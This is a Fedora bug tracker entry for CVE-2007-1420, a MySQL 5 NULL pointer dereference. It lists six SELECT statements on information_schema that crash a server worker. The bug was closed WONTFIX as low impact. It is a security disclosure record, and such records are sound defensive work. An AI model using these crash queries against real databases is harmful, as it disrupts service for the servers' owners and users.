Bug 232604

Summary: CVE-2007-1420 Single MySQL worker can be crashed (NULL deref) with certain SELECT statements
Product: [Fedora] Fedora Reporter: Lubomir Kundrak <lkundrak>
Component: mysqlAssignee: Tom Lane <tgl>
Status: CLOSED WONTFIX QA Contact: David Lawrence <dkl>
Severity: low Docs Contact:
Priority: low    
Version: 5CC: byte, hhorak
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
URL: http://www.securityfocus.com/bid/22900/discuss
Whiteboard: impact=low,source=gentoo,reported=20070312,public=20070309
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2007-08-02 12:25:15 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description Lubomir Kundrak 2007-03-16 12:19:13 UTC
+++ This bug was initially created as a clone of Bug #232603 +++

Description of problem:

A NULL pointer dereference occurs after issuing the SELECT statements
below. Security impact is very limited, as only one worker crashes, leaving
the server running and ready for service. Additionally, an attacker must be
authenticated and permitted to execute arbitrary SELECT statements.

Version-Release number of selected component (if applicable):

Does not affect MySQL 4.

How reproducible:

Always, by an authenticated user.

Steps to Reproduce:

SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns
ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol')
  
Actual results:

The session closes prematurely, fault message in the log file.

Expected results:

I expected it to crash. I like this section of a bug report.

Comment 1 Lubomir Kundrak 2007-03-16 12:20:31 UTC
Both FC5 and FC6.

Comment 2 Lubomir Kundrak 2007-08-02 12:25:15 UTC
Closing this -- there's FC5 is EOL, and anyways, there's no point in spending
time on fixing this, as it imposes no real threat and is triggerable only by
an authenticated user.